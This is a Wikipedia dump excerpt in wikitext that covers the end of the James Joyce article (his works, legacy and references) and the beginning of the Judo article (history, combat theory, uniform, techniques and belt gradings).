Joyce's Irish experiences are essential to his writings, and provide all of the settings for his fiction and much of their subject matter. The early volume of short stories, ''[[Dubliners]]'', is a penetrating analysis of the stagnation and paralysis of Dublin society. The stories incorporate [[Epiphany|epiphanies]], a word used particularly by Joyce, by which he meant a sudden consciousness of the &quot;soul&quot; of a thing. Although many of Joyce's works illustrate the rich tradition of the [[Catholic Church]], his short story &quot;Araby&quot; displays his disaffection and loss of faith with the Church. The final and most famous story in the collection, &quot;[[The Dead (short story)|The Dead]]&quot;, was directed by [[John Huston]] as his last feature film, completed in 1987.

'''A Portrait of the Artist as a Young Man'''

''[[A Portrait of the Artist as a Young Man]]'' is a nearly complete rewrite of the abandoned ''Stephen Hero'' novel, the original manuscript of which was partially destroyed in a fit of rage during an argument with Nora.  A künstlerroman, or story of the development of an artist (a type of  [[bildungsroman]], or coming of age novel), it is largely autobiographical, showing the process of attaining maturity and self-consciousness by a gifted young man. The main character is [[Stephen Dedalus]], Joyce's representation of himself. In this novel, some glimpses of Joyce's later techniques are evident, in the use of interior monologue and in the concern with the psychic rather than external reality. [[Joseph Strick]] directed a film of the book in 1977 starring [[Luke Johnston]], [[Bosco Hogan]], [[T.P. McKenna]] and [[John Gielgud]].

'''Exiles and poetry'''

Despite early interest in the theatre, Joyce published only one play, ''Exiles'', begun shortly after the outbreak of [[World War I]] in [[1914]] and published in 1918. A study of a husband and wife relationship, the play looks back to ''The Dead'' (the final story in ''Dubliners'') and forward to ''Ulysses'', which was begun around the time of the play's composition.

Joyce also published a number of books of poetry. His first mature published work was the satirical broadside &quot;The Holy Office&quot; ([[1904]]), in which he proclaimed himself to be the superior of many prominent members of the [[Celtic revival]]. His first full-length poetry collection ''Chamber Music'' (named after the sound of urine hitting the side of a chamber pot) consisted of 36 short lyrics. This publication led to his inclusion in the ''[[Imagism|Imagist Anthology]]'', edited by [[Ezra Pound]], who was a champion of Joyce's work. The other poetry Joyce published in his lifetime consists of &quot;Gas From A Burner&quot; ([[1912]]), ''Pomes Penyeach'' ([[1927]]) and &quot;Ecce Puer&quot;, written in 1932 to mark the birth of his grandson and the recent death of his father. It was published in ''Collected Poems'' ([[1936]]).

'''Ulysses'''

In 1906, as he was completing work on ''Dubliners'', Joyce considered adding another story featuring a Jewish advertising canvasser called [[Leopold Bloom]] under the title ''[[Ulysses (novel)|Ulysses]]''. The story was not written, but the idea stayed with Joyce and, in 1914, he started work on a novel using both the title and basic premise, completing the writing in October, 1921. It was to be another three months before Joyce would stop working on the [[proofreading|proofs]] of the book; he halted on the cusp of his self-imposed deadline, his 40th birthday ([[2 February]] [[1922]]).

Thanks to [[Ezra Pound]], serial publication of the novel in the magazine ''[[The Little Review]]'' began in 1918. This magazine was edited by [[Margaret Anderson]] and [[Jane Heap]], with the backing of [[John Quinn (collector)|John Quinn]], a [[New York]] [[attorney]] with an interest in contemporary experimental art and literature. Unfortunately, this serialisation ran into censorship problems in the [[United States]], and in 1920 the editors were convicted of publishing obscenity, resulting in an end to the serial publication of the novel. The novel remained banned in the States until 1933.

At least partly because of this controversy, Joyce found it difficult to get a publisher to accept the book, but it was published in 1922 by [[Sylvia Beach]] from her well-known [[Left Bank]] bookshop, ''[[Shakespeare and Company]]''. An English edition published the same year by Joyce's patron, [[Harriet Shaw Weaver]], ran into further difficulties with the United States authorities, and 500 copies that were shipped to the States were seized and possibly destroyed. The following year, [[John Rodker]] produced a print run of 500 more intended to replace the missing copies, but these were burned by English customs at [[Folkestone]]. A further consequence of the novel's ambiguous legal status as a banned book was that a number of 'bootleg' versions appeared, most notably a number of pirate versions from the publisher [[Samuel Roth]]. In 1928, a court injunction against Roth was obtained and he ceased publication.

[[1922]] was a key year in the history of English-language literary modernism, with the appearance of both ''Ulysses''  and [[T. S. Eliot]]'s poem, ''[[The Waste Land]]''. In ''Ulysses'', Joyce employs stream of consciousness, parody, jokes, and virtually every other literary technique to present his characters. The action of the novel, which takes place in a single day, [[16 June]] [[1904]], sets the characters and incidents of the [[Odyssey]] of [[Homer]] in modern Dublin and represents [[Odysseus]] (Ulysses), [[Penelope]] and [[Telemachus]] in the characters of Leopold Bloom, his wife [[Molly Bloom]] and Stephen Dedalus, parodically contrasted with their lofty models. The book explores various areas of Dublin life, dwelling on its squalor and monotony. Nevertheless, the book is also an affectionately detailed study of the city, and Joyce claimed that if Dublin were to be destroyed in some catastrophe it could be rebuilt, brick by brick, using his work as a model. In order to achieve this level of accuracy, Joyce used the 1904 edition of [[Thom's Directory]]&amp;mdash; a work that listed the owners and/or tenants of every
residential and commercial property in the city. He also bombarded friends still living there with requests for information and clarification.

The book consists of 18 chapters, each covering roughly one hour of the day, beginning around about 8 a.m. and ending sometime after 2 a.m. the following morning. Each of the 18 chapters of the novel employs its own literary style. Each chapter also refers to a specific episode in Homer's Odyssey and has a specific colour, art or science and bodily organ associated with it. This combination of kaleidoscopic writing with an extreme formal, schematic structure represents one of the book's major contributions to the development of [[20th century]] modernist literature. The use of [[classical mythology]] as a framework for his book and the near-obsessive focus on external detail in a book in which much of the significant action is happening inside the minds of the characters are others.  Nevertheless, Joyce complained that, &quot;I may have oversystematised ''Ulysses'',&quot; and played down the mythic correspondences by eliminating the chapter titles that had been taken from Homer.

Joseph Strick directed a [[Ulysses (film)|film]] of the book in 1967 starring [[Milo O'Shea]], [[Barbara Jefford]] and [[Maurice Roëves]]. [[Sean Walsh]] directed another version released in 2004 starring [[Stephen Rea]], [[Angeline Ball]] and [[Hugh O'Conor]].

'''Finnegans Wake'''

Having completed work on ''Ulysses'', Joyce felt he had completed his life's work but soon was at work on an even more ambitious work. On [[10 March]] [[1923]] he began work on a text that was to be known, first, as ''Work in Progress'' and later ''[[Finnegans Wake]]''. By 1926 he had completed the first two parts of the book. In that year, he met Eugene and Maria Jolas who offered to serialise the book in their magazine ''[[Transition (literary journal)|transition]]''. For the next few years, Joyce worked rapidly on the new book, but in the [[1930s]], progress slowed considerably. This was due to a number of factors, including the death of his father in 1931, concern over the mental health of his daughter [[Lucia Joyce|Lucia]] and his own health problems, including failing eyesight. Much of the work was done with the assistance of younger admirers, including [[Samuel Beckett]]. For some years, Joyce nursed the eccentric plan of turning over the book to his friend [[James Stephens]] to complete, on the grounds that Stephens was born in the same hospital as Joyce exactly one week later, and shared the first name of both Joyce and of Joyce's fictional alter-ego (this is one example of Joyce's numerous superstitions).

Reaction to the early sections that appeared in ''transition'' was mixed, including negative comment from early supporters of Joyce's work, such as Pound and the author's brother [[Stanislaus Joyce]]. In order to counteract this hostile reception, a book of essays by supporters of the new work, including Beckett, [[William Carlos Williams]] and others was organised and published in 1929 under the title ''[[Our Exagmination Round His Factification for Incamination of Work in Progress]]''. At his 47th birthday party at the Jolases' home, Joyce revealed the final title of the work and ''Finnegans Wake'' was published in book form on [[4 May]] [[1939]].

Joyce's method of stream of consciousness, literary allusions and free dream associations was pushed to the limit in ''[[Finnegans Wake]]'', which abandoned all conventions of plot and character construction and is written in a peculiar and obscure language, based mainly on complex multi-level puns. This approach is similar to, but far more extensive than that used by [[Lewis Carroll]] in &quot;[[Jabberwocky]]&quot;. If ''Ulysses'' is a day in the life of a city, the ''Wake'' is a night and partakes of the logic of dreams.  This has led many readers and critics to apply Joyce's oft-quoted description in the Wake of ''Ulysses''  as his ''usylessly unreadable Blue Book of Eccles'' to the Wake itself. However, readers have been able to reach a consensus about the central cast of characters and general plot.

Much of the wordplay in the book stems from the use of multilingual puns which draw on a wide range of languages. The role played by Beckett and other assistants included collating words from these languages on cards for Joyce to use and, as Joyce's eyesight worsened, of writing the text from the author's dictation.

The view of history propounded in this text is very strongly influenced by [[Giambattista Vico]], and the metaphysics of [[Giordano Bruno]] of [[Nola]] are important to the interplay of the &quot;characters&quot;. Vico propounded a cyclical view of history, in which civilisation rose from chaos, passed through theocratic, aristocratic, and democratic phases, and then lapsed back into chaos.  The most obvious example of the influence of Vico's cyclical theory of history is to be found in the opening and closing sentences of the book. ''Finnegans Wake'' opens with the words 'riverrun, past Eve and Adam's, from swerve of shore to bend of bay, brings us by a commodius vicus of recirculation back to Howth Castle and Environs.' (with a pun on Vico in 'vicus') and ends 'A way a lone a last a loved a long the'. In other words, the first sentence starts on the last page and the last sentence on the first, turning the book into one great cycle. Indeed, Joyce said that the ideal reader of the ''Wake'' would suffer from ''ideal insomnia'' and, on completing the book, would turn to page one and start again, and so on in an endless cycle of reading.

==Joyce's legacy==
[[Image:Ireland - Dublin - St Stephen's Green - James Joyce.jpg|A bust of James Joyce in St. Stephen's Green in Dublin|thumb]]

Joyce's work has been subject to intense scrutiny by scholars of all types. He has also been an important influence on writers as diverse as [[Samuel Beckett]], [[Jorge Luis Borges]], [[Flann O'Brien]], [[Máirtín Ó Cadhain]], [[Salman Rushdie]], [[Thomas Pynchon]] and [[William Burroughs]].

Joyce's influence is also evident in fields other than literature. The phrase &quot;Three Quarks for Muster Mark&quot; in Joyce's ''Finnegans Wake'' is often called the source of the physicists' word &quot;[[quark]]&quot;, the name of one of the main kinds of [[elementary particle]]s, proposed by the physicist [[Murray Gell-Mann]].  ([[James Gleick]]'s book ''Genius'' notes that Gell-Mann may have found the Joycean antecedent after the fact; as Gleick observes, physicists have pronounced ''quark'' to rhyme with ''cork'' and not with ''Mark.'' It may be noted, however, against Gleick's speculation, that the discoverers of quarks were Americans who would have pronounced quark in the American, not the Irish accent.)  The French philosopher [[Jacques Derrida]] has written a book on the use of language in ''Ulysses'', and the American philosopher [[Donald Davidson (philosopher)|Donald Davidson]] has written similarly on ''Finnegans Wake'' in comparison with [[Lewis Carroll]].  [[Vladimir Nabokov]] esteemed ''Ulysses'' greatly, listing it with [[Franz Kafka]]'s &quot;[[The Metamorphosis]]&quot; as one of the [[20th century]]'s greatest prose works.  However, Nabokov was less than thrilled with ''Finnegans Wake'' (see ''[[Strong Opinions]],'' ''[[Lolita|The Annotated Lolita]]'' or ''[[Pale Fire]]''), an attitude which [[Jorge Luis Borges]] shared.

''Finnegans Wake'' is a recurring theme in [[Tom Robbins]]'s novel ''[[Fierce Invalids Home from Hot Climates]].''  In that novel, it is the favourite discussion topic of the [[Bangkok]]-based &quot;C.R.A.F.T. Club&quot; (Can't Remember A Fucking Thing).  The protagonist, a [[CIA]] agent named Switters, contemplates writing a thesis about it. The life of Joyce is celebrated annually on June 16, [[Bloomsday]], in [[Dublin]] and in an increasing number of cities worldwide.

==Bibliography==
* ''[[Stephen Hero]]'' (written 1904-6: precursor to the ''Portrait'', published 1944)
* ''[[Chamber Music]]'' ([[1907 in literature|1907]] [[poem]]s)
* ''[[Dubliners]]'' ([[1914 in literature|1914]])
* ''[[Exiles (play)|Exiles]]'' ([[1915 in literature|1915]] [[play]])
* ''[[A Portrait of the Artist as a Young Man]]'' ([[1916 in literature|1916]])
* ''[[Ulysses (novel)|Ulysses]]'' ([[1922 in literature|1922]])
* ''[[Pomes Penyeach]]'' ([[1927 in literature|1927]] poems)
* ''[[Finnegans Wake]]'' ([[1939 in literature|1939]])

==References==
'''General (print) '''
*[[Anthony Burgess|Burgess, Anthony]]. ''Joysprick: An Introduction to the Language of James Joyce'' (1973)
* ---''Here Comes Everybody: An Introduction to James Joyce for the Ordinary Reader'' (1965); also published as ''Re Joyce''.
*[[Richard Ellmann|Ellmann, Richard]].  ''[[James Joyce (biography)|James Joyce]]''.  Oxford University Press, 1959, revised edition 1983.
*Igoe, Vivien. A Literary Guide to Dublin. ISBN 0-4136912-0-9
*Levin, Harry (ed. with introduction and notes). ''The Essential James Joyce''. Cape, 1948. Revised edition Penguin in association with Jonathan Cape, 1963.
*[[William H. Quillian|Quillian, William H.]] ''Hamlet and the new poetic: James Joyce and [[T.S. Eliot]]''. Ann Arbor, MI: UMI Research Press, 1983.
*Read, Forrest. ''Pound/Joyce: The Letters of Ezra Pound to James Joyce, with Pound's Essays on Joyce''. New Directions, 1967.

'''General (web) '''
*[http://www.fathom.com/course/10701034/index.html How to Read Joyce], a seminar by [[Cambridge University Press]].
*[http://www.pgil-eirdata.org/html/pgil_datasets/authors/j/Joyce,James/life1.htm Detailed timeline of Joyce's life, contemporary critical comments and Joyce, &amp;c.]
*[http://joycean.org/ Essays and Criticism about James Joyce; Texts of his Major Works]
*[http://www.james-joyce-music.com Music in the Works of James Joyce]
*[http://www.pulainfo.hr/en/jj.asp James Joyce the citizen of Pula]
*[http://www.histrica.com/g/celebs/james-joyce  James Joyce in the Croatia]
*[http://www.jamesjoyce.nl James Joyce in the Netherlands]
*[http://libtext.library.wisc.edu/JoyceColl/ The James Joyce Scholars' Collection]
*[http://www.utulsa.edu/jjq The James Joyce Quarterly]

'''Dubliners'''

*[http://www.hackwriters.com/dubliners.htm In depth review of ''Dubliners'']

'''Ulysses'''

*[http://www.uwm.edu/Library/special/exhibits/clastext/clspg158.htm Publication history of ''Ulysses'']
*[http://www.doc.ic.ac.uk/~rac101/ulysses/ A hypertextual, self-referential, complete edition of ''Ulysses'']
*[http://www.ulysses-art.demon.co.uk/scheme.html Schemata of ''Ulysses'']
*[http://www.threemonkeysonline.com/threemon_articleJames%20Joyce%20Ulysses.htm James Joyce’s ''Ulysses'': Why the Fuss? - An introduction to ''Ulysses'']

'''Finnegans Wake (print)'''
*[[Samuel Beckett|Beckett, Samuel]]; [[William Carlos Williams]]; et al. ''Our Exagmination Round His Factification For Incamination Of Work In Progress''. Shakespeare and Company, 1929.
*[[Anthony Burgess|Burgess, Anthony]] (ed.) ''A Shorter 'Finnegans Wake''', 1969.
*[[Joseph Campbell|Campbell, Joseph]] and Henry Morton Robinson. ''A Skeleton Key to Finnegan's Wake'', 1961.
*McHugh, Roland. ''Annotations to Finnegans Wake''. Johns Hopkins University Press, 1991.
*Tindall, William York. ''A Reader's Guide to Finnegans Wake''. Syracuse University Press, 1996 (First published 1969).

'''Finnegans Wake (web)'''
*[http://www.fweet.org Home Fweet Home ''Elucidations to Finnegans Wake'']
*[http://mural.uv.es/joesdel/Writing_Wake.html The Writing Of ''Finnegans Wake'']
*[http://www.kirbymountain.com/FWconcordance/fwc-main.html Concordance of Finnegans Wake]
*[http://www.finneganswiki.com Finnegans Wiki - a Wiki of Finnegans Wake]

'''Poems''' and '''Exiles'''

*[http://www.themodernword.com/joyce/joyce_works_other.html Poems and ''Exiles'' at themodernword.com]
*[http://www.cosmoetica.com/TOP4-DES4.htm Essay on Joyce’s ''Watching the Needleboats at San Sabba &amp; On the Beach at Fontana'']



==Other external links==
{{wikiquote}}
{{wikisource author}}
*[http://rmc.library.cornell.edu/joyce/introduction/index.html James Joyce from Dublin to Ithaca Exhibition] from the collections of [[Cornell University]]
*[http://www.creativequotations.com/one/617.htm Creative Quotations from James Joyce]
*[http://www.themodernword.com/joyce The Brazen Head ]
* {{gutenberg author|id=James_Joyce|name=James Joyce}}
*[http://www.cluas.com/music/features/james_joyce.htm The influence of James Joyce on Popular Music] from [http://www.cluas.com/ music webzine CLUAS.com]
*[http://digital.library.wisc.edu/1711.dl/JoyceColl The James Joyce Scholars' Collection] from the [http://uwdc.library.wisc.edu University of Wisconsin Digital Collections Center].
*[http://www.robotwisdom.com/jaj/ IQ Infinity: the Unknown James Joyce]
*[http://www.univ.trieste.it/~nirdange/school/joyceweb.htm  The Ninth Annual Trieste Joyce School]

[[Category:1882 births|Joyce, James]]
[[Category:1941 deaths|Joyce, James]]
[[Category:Irish literature]]
[[Category:Irish people|Joyce, James]]
[[Category:James Joyce| ]]
[[Category:Natives of County Dublin|Joyce, James]]
[[Category:Wagnerites|Joyce, James]]

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  </page>
  <page>
    <title>Judo</title>
    <id>15601</id>
    <revision>
      <id>42098039</id>
      <timestamp>2006-03-03T20:40:11Z</timestamp>
      <contributor>
        <ip>72.234.116.91</ip>
      </contributor>
      <comment>/* Gradings */</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; width=&quot;250&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
! colspan=&quot;2&quot; bgcolor=&quot;#FFCCCC&quot; | Judo
|-
! colspan=&quot;2&quot; | Japanese Name
|-
| width=&quot;125&quot; | [[Japanese language|Japanese]]
| width=&quot;125&quot; | 柔道
|-
| width=&quot;125&quot; | [[Kana]] spelling
| width=&quot;125&quot; | じゅうどう
|-
| width=&quot;125&quot; | Modified [[Hepburn]]
| width=&quot;125&quot; | Jūdō
|-
| width=&quot;125&quot; | [[Kunrei-shiki]]
| width=&quot;125&quot; | Zyûdô
|-
| width=&quot;125&quot; | [[Nihon-shiki]]
| width=&quot;125&quot; | Zyûdô
|}
'''Judo''' ([[Japanese language|Japanese]]: 柔道, ''jūdō''; &quot;gentle way&quot;) is a [[martial art]], [[sport]], and [[philosophy]] originated in [[Japan]].  Judo was developed from [[Jujutsu]], and was founded by Dr. [[Jigoro Kano]] (嘉納治五郎) in [[1882]]. The sport became the model of the modern Japanese martial arts, [[gendai budo]], developed from old [[koryu]] schools.  Practitioners of Judo are called '''judoka''' (柔道家).

==History and philosophy==
The early history of Judo and that of its founder, Japanese [[polymath]] and educator [[Jigoro Kano|Kano Jigoro]] (surname first in [[Japanese name|Japanese]]) (1860-1938), are inseparable.  Kano was born into a well-to-do Japanese family.  His grandfather was a self-made man, a [[sake]] brewer from [[Shiga prefecture]] in central Japan; however, Kano's father was not the eldest son and did not inherit the business, but instead became a Shinto priest and government official, with enough influence for his son to enter the second incoming class of [[Tokyo Imperial University]].

Kano was a small, frail boy, who, even in his twenties, did not weigh more than a hundred pounds, was often picked on by bullies. He first started pursuing [[jujitsu]] (柔術), at that time a flourishing art, at the age of 17, but met with little success---in part due to difficulties finding a teacher who would take him on as a serious student. When he went off to the University to study literature at the age of 18, he continued his martial efforts, eventually gaining a referral to [[Hachinosuke Fukuda]], a master of the [[Tenjin Shinyo Ryu]] (天神真楊流) and ancestor of noted Japanese/American judoka [[Keiko Fukuda]], who is one of Kano's oldest surviving students. Fukuda is said to have emphasized technique over formal exercise, sowing the seeds of Kano's emphasis of [[randori]] (乱取り), or free practice, in Judo.

Little more than a year after Kano joined Fukuda's school, Fukuda took ill and died.  Kano then became a student in another Tenjin Shinyo school, that of [[Masatomo Iso]], who put more emphasis on formal [[Kata (martial arts)|kata]] than did Fukuda.  Through dedication, Kano quickly earned the title &quot;[[shihan]]&quot;, or master, and became assistant instructor to Iso at the age of 21.  Iso, too, took ill, and Kano, feeling that he still had much to learn, took up another style, becoming a student of [[Tsunetoshi Iikubo]] of [[Kito Ryu]].  Like Fukuda, Iikubo placed much emphasis on free practice; on the other hand, Kito Ryu emphasized throwing techniques to a much greater degree than Tenjin Shinyo Ryu.

By this time, Kano was devising new techniques, such as the ''kata guruma'' ( or 'shoulder wheel', known as a fireman's carry to Western wrestlers who use(d) a slightly different form of this technique) and ''uki goshi'' (floating hip toss). His thoughts were already on doing more than expanding the canons of Kito and Tenjin Shinyo Ryu;  full of new ideas, in part as a result of his education, Kano had in mind a major reformation of jujutsu, with techniques based on sound scientific principles, and with focus on development of the body, mind, and character of young men in addition to development of martial prowess. At the age of 22, just about to finish his degree at the University, Kano took 9 students from Iikubo's school to study jujitsu under him at the [[Eishoji Temple]]. Although two years would pass before it would be called by that name, and Kano had not yet been accorded the title of &quot;master&quot; in the Kito ryu (起倒流) -- Iikubo would come to the temple to help teach three days per week, this was the founding of the [[Kodokan Institute|Kodokan]] (講道館) or &quot;place for learning the way.&quot;

&lt;!--to be continued--&gt;
The word Judo is composed of two kanji:  &quot;ju&quot; (柔), which means gentleness, and &quot;dō&quot; (道), way or road(the same character as the Chinese &quot;[[tao]]&quot;).  Thus Judo literally means &quot;the gentle way&quot;, or &quot;the way of giving way&quot;, and may also be defined as &quot;the way of suppleness&quot;, &quot;the way of flexibility, or &quot;the way of adaptability&quot;.  To English speakers, Judo and Jujutsu would mean &quot;the easy way&quot;, as in the easiest way to accomplish something. Judo takes from jujutsu (&quot;gentle art&quot;) the principle of using one's opponent's strength against him and adapting well to changing circumstances.  For example, if the attacker was to push against his opponent he would find his opponent stepping to the side and allowing (usually with the aid of a foot to trip him up) his momentum to throw him forwards (the inverse being true for pulling). Kano saw jujutsu as a disconnected bag of tricks, and sought to unify it according to some principle; he found it in the notion of &quot;maximum efficiency&quot;. Jujitsu techniques which relied solely on superior strength were discarded or adapted in favour of those which involved redirecting the opponent's force, off-balancing the opponent, or making use of superior leverage.
&lt;!--also will be continued--&gt;

== Judo's Theory of Combat ==
Judo assumes that there are two main phases of combat: the standing (''[[grappling#Stand-up grappling|tachi-waza]]'') and the ground (''[[grappling#Ground grappling|ne-waza]]'') phase.  Each phase requires its own mostly separate techniques, strategies, [[randori]], conditioning and so on, although some special training is devoted to 'transitional' techniques to bridge the gap.  Some [[judoka]] can become quite skilled in one phase and be rather weak in the other, depending on where their interests most lie, although most are rather balanced between the two.

'''The Standing Phase'''

In the standing phase, which is considered the initial phase, the opponents try to throw each other to the ground.  Even though standing joint-lock and choke/strangulation submission techniques are legal in the standing phase, they are quite rare due to the fact that they are much harder to apply standing than throws are.  Some judoka, however, are very skilled in combining takedowns with submissions, where a submission technique is begun standing and finished on the ground.  Strikes (i.e. punches, kicks etc) are not allowed due to their certainty of injury, but judoka are supposed to 'take them into consideration' while training by, for example, not fighting in a bent-over position for long, since this position is vulnerable to knee-strikes and others.  The main purpose of the throwing techniques ([[nage waza]]) is to take an opponent who is standing on his feet, mobile and dangerous, down onto his back where he cannot move any more.  Thus, the main reason for throwing the opponent is to control him and put yourself in a dominant position above him where you have more potential to inflict damage on him than he does on you.  Be that as it may, another reason to throw the opponent is to shock his body through smashing him forcefully onto the ground.  If a judoka executes a powerful yet fully controlled throw, he can win a match outright due to the theory that he has displayed enough superiority.  In actual fact, this kind of victory is very difficult to achieve if the opponents are equally matched.  Therefore points are given for lesser throws in the standing phase of combat. In real fight situations, a throw in itself can create shock to the opponent, and the impact can potentially knock the opponent unconscious (depending on the hardness of the ground).

'''The Ground Phase'''

In the ground phase, which is considered the secondary phase of combat, the opponents try to hold, or get the opponent to submit either by using arm locks (leg locks are not allowed due to safety regulations) or by chokes and strangulations.

'''Footsweeps'''

Footsweeps are used to off-balance the opponent.

'''Pins'''

Pins are considered important since in a real fight the person on top who has control of the person beneath can hit him with knees, forearms, the head and so on.  If a pin is held for 25 seconds, the person doing the pinning wins the match.  The reason for requiring such a long pin is that in order to be able to hit the person underneath you effectively, you have to have full control of him for a long time.  In a match, if you pin your opponent for less than 25 seconds you get points depending on how long, with the minimum being 10 seconds.  This also flows from the theory that you will be striking a pinned opponent, and after 10 seconds will have possibly weakened him somewhat with strikes, at least enough to merit giving some points.

However, if the person you are holding down has wrapped his legs around any part of your lower body or your trunk, he is pinning you as much as you are pinning him since you cannot get up and flee unless he lets go.  What if, for example, his friends who are nearby happen to drop in to 'pay you a little visit'?  You won't be able to get away.  Also, to make things even worse for you,  there are various attacking techniques he can launch against you from this position, which is called '[[Dojime]]' (body squeeze) in Japanese and '[[Guard (grappling)|The Guard]]' in English.  Clearly you do not have control of him in this position even though you are 'on top', so it is not considered a pin.  It is your job to break through his 'guard' and pin or submit him, and it is his job to submit you from where he is, to roll you over and get on top of you or to simply break out and get back up to his feet and fight from there if that is what he wants to do.

'''Joint Locks'''

Elbow locks are considered safe-enough to do at nearly full-force to induce a submission.  In times past, Judo allowed many other joints to be attacked too such as the knees, spine and others.  Over the years it was discovered that attacking those other joints would not only result in many injuries to the athletes, but also would gradually wear the joints down over time.  Even so, some Judoka still enjoy learning and fighting each other informally using these banned techniques.  Joint locks are effective combat techniques since they enable you to control your opponent through pain-compliance.  Also, some joints, such the elbows, can be broken, maiming your adversary so he cannot any longer attack you effectively or put up a defence.  For these reasons Judo considers joint locks to be important techniques.

'''Chokes/Strangulations'''

Chokes/strangulations are Judo's deadliest techniques.  They enable the one applying the choke to force the adversary into unconsciousness and even death. In competition the judoka wins the round if the opponent gives in to submission and/or fail to get out of the hold for 25 seconds.

'''Fighting'''

Judo emphasizes fighting ([[randori]]) as its main form of training.  Half the combat time is spent fighting on the ground, called ''[[grappling#Ground grappling|ne-waza]]'' and the other half standing up, called ''[[grappling#Ground grappling|tachi-waza]]''.  Actual fighting, albeit within safety rules, is considered to be much more effective than only practicing techniques, since fighting full-strength develops the muscles and [[cardio-vascular]] system on the physical side of things, and it develops strategy and reaction time on the mental side of things.

'''Judo's Balanced Approach to Fighting'''

Judo's balance between both the standing and ground phases of combat gives judoka the ability to take down opponents who are standing up and then pin and submit them on the ground.  This balanced theory of combat has made Judo a popular choice for many.

== Uniform ==
[[Image:Judo orange belt.JPG|thumb|200px|The [[judogi]] is intended to withstand the stresses of throwing and grappling]]

'''Judoka''' (Judo practitioners) wear white cotton uniforms called  '''[[Judogi]]''' (which means Judo uniform in Japanese) for practicing Judo.  Sometimes the word is seen shortened simply to &quot;gi&quot; (uniform).  This judogi was created at the [[Kodokan]] and similar uniforms were later adopted by many other martial arts. The judogi consists of white cotton drawstring pants and a white quilted cotton jacket fastened by a colored belt indicative of kyu or dan rank.  The jacket is intended to withstand the stresses of throwing and grappling, and is as a result much thicker than that of a karategi. Before competition, a blue judogi is assigned to one judoka for ease of distinction by judges, referees, and spectators.  In Japan, the traditional red sash (based on the flag's colors) is affixed to one judoka's belt, however in Europe and North America, a colored sash is typically used for convienence in local competitions, while a blue judogi is assigned to one judoka at the regional, national, or Olympic levels where the visibility, particularly to television cameras is more important than tradition or convienence.  It should be noted that Japanese practitioners and purists tend to look down on the use of blue judogis.

==Techniques==
[[Image:Judo_-_Ippon_Seoinage.gif|thumb|One of the first throws learned in judo - the Ippon Seoi Nage]]
While Judo includes a variety of rolls, falls, throws, pins, [[chokehold|chokes]], [[joint-lock]]s, and methods of percussion, the primary focus  is on throwing (''nage-waza'', 投げ技), and groundwork  (''[[grappling#Ground grappling|ne-waza]]'',寝技). Nage-waza is divided in two groups of techniques, standing techniques (''[[grappling#Stand-up grappling|tachi-waza]]'', 立技) and sacrifice techniques (''sutemi-waza'', 捨身技). Standing techniques are divided in hand techniques (''te-waza'', 手技), hip techniques (''koshi-waza'', 腰技) and foot/leg techniques (''ashi-waza'', 足技). Sacrifice techniques are divided into those in which the thrower falls directly backwards (''ma-sutemi-waza'', 真捨身技) and those in which he falls onto his side (''yoko-sutemi-waza'', 橫捨身技).

The groundwork techniques are divided into: attacks against the joints or [[joint lock]]s (''kansetsu-waza'', 関節技), strangleholds or [[chokehold]]s (''shime-waza'', 絞技), and holding or pinning techniques (''osaekomi-waza'', 押込技).

A kind of sparring is practiced in judo, known as ''[[randori]]'' (乱取り), meaning &quot;free practice&quot;.  In randori, players (known as ''judoka'') may attack each other with any judo throw or grappling technique.  Striking techniques (called ''atemi-waza'') such as kicking and punching, along with knife and sword techniques are retained in the ''kata''s taught to higher ranking judoka (for instance, in the [[kime-no-kata]]), but are forbidden in contest (and usually prohibited in randori), for reasons of safety. Also for reasons of safety, chokeholds, jointlocking - and the sacrifice (sutemi) techniques, which can be very spectacular, are often subject to age and/or rank restrictions; in the United States, one must be 13 or older to use chokeholds, and 17 or older, or hold the rank of Shodan (first grade black belt) or higher to use [[armlock]]s.

In ''randori'' and ''shiai'' (tournament) practice, when an opponent successfully executes a chokehold or joint lock, one &quot;taps out&quot; by tapping the mat or one's opponent at least twice in a manner that clearly indicates the submission. When this occurs, the match is over, and the tapping player has lost, but the chokehold or joint lock ceases. Because this allows a merciful exit to the match, injuries related to these holds are quite rare.

==Gradings==
{| class=&quot;wikitable&quot; style=&quot;float:right;&quot;
|+Typical European judo belt colours
|-
| width=&quot;100&quot; align=&quot;center&quot;|White || width=&quot;200&quot; style=&quot;background:white;&quot; | &amp;nbsp;
|-
|align=&quot;center&quot;|Yellow || style=&quot;background:yellow;&quot; | &amp;nbsp;
|-
|align=&quot;center&quot;|Orange || style=&quot;background:orange;&quot; | &amp;nbsp;
|-
|align=&quot;center&quot;|Green || style=&quot;background:green;&quot; | &amp;nbsp;
|-
|align=&quot;center&quot;|Blue || style=&quot;background:blue;&quot; | &amp;nbsp;
|-
|align=&quot;center&quot;|Brown || style=&quot;background:brown;&quot; | &amp;nbsp;
|-
|align=&quot;center&quot;|Black || style=&quot;background:black;&quot; | &amp;nbsp;
|}

Judoka are ranked according to skill and knowledge of judo, that grade being reflected in the colour of his belt: There are two divisions of grades, the student grades (''kyu'', 級), and the master grades (''dan'', 段). In some countries, the nine colours run from grey through white, light blue, blue, yellow, orange, green, purple, and brown. In the UK and most of Europe the belt grading colours run like this: White, Yellow, Orange, Green, Blue, Brown and then Black. Some European countries additionally use a red belt to signify a complete beginner. In Japan, all adult kyu grades wear either white or brown belts. All ''dan'' grades may wear the ''[[Black belt (martial arts)|black belt]]''; sixth- through eighth- ''dan''s may alternately wear a red-and-white belt, while those ranked ninth- ''dan'' and above may wear a solid red belt. Historically, a woman's belt had a white stripe at its centre in some countries, while in most of them this custom has been discontinued. Jigoro Kano was the inventor of the ''kyu'' - ''dan'' grading system, that soon got adapted by other martial arts such as [[karate]].

In competition one judoka wears a blue suit while the other wears white.  In some competitions the older system whereby one competitor wears a white sash and the other a blue sash remains in place. In both cases this does not indicate their rank, but is to enable the judges and spectators to tell the opponents apart during a fight. Points are also awarded to white or blue. Corner judges on the corners of the mat also have a white and blue flag to indicate to which competitor a point should go when it is unclear whom it should be awarded to.

